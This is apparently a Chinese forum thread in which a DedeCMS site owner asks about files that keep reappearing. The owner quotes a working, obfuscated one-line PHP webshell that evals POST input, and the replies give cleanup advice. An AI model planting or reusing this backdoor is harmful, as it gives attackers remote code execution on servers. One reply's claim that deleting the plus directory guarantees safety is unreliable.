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HomeBackend DevelopmentPHP Tutorial我的网站中无缘无故的多了很多文件夹和文件是怎么回事

我是用的dedecms系统,好不容易把关键词做上去了,现在发现好多乱七糟八的文件和文件夹,删除了又有,请问这应该怎么处理才好。

我看了下文件,有如下php代码

<?php ($b4dboy = $_POST['g'.'u'.'i'.'g'.'e']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');?>


回复讨论(解决方案)

很明显是被挂马了,本人是搞DEDE模板的,DEDE今年爆出了个大漏洞,很多站都被挂黑链,上传文件等,多是一些不bo彩的,最好的办法是删除木马文件,升级到最新版本,把plus目录下用不到的文件删除掉。这样很安全了。

用万网或西部数码的主机。用质量好的主机,基本上就没问题了。

被挂马了,DEDE现在一年不如一年,建议楼主换到PHPCMS。自从被盛大收购后,势头很猛

很明显是被挂马了,本人是搞DEDE模板的,DEDE今年爆出了个大漏洞,很多站都被挂黑链,上传文件等,多是一些不bo彩的,最好的办法是删除木马文件,升级到最新版本,把plus目录下用不到的文件删除掉。这样很安全了。

把plus删除后真的就安全了吗?

赶紧处理吧    很危险的


很明显是被挂马了,本人是搞DEDE模板的,DEDE今年爆出了个大漏洞,很多站都被挂黑链,上传文件等,多是一些不bo彩的,最好的办法是删除木马文件,升级到最新版本,把plus目录下用不到的文件删除掉。这样很安全了。

把plus删除后真的就安全了吗?
木马都是从这个文件夹下面的文件进来的,删除了肯定安全了。

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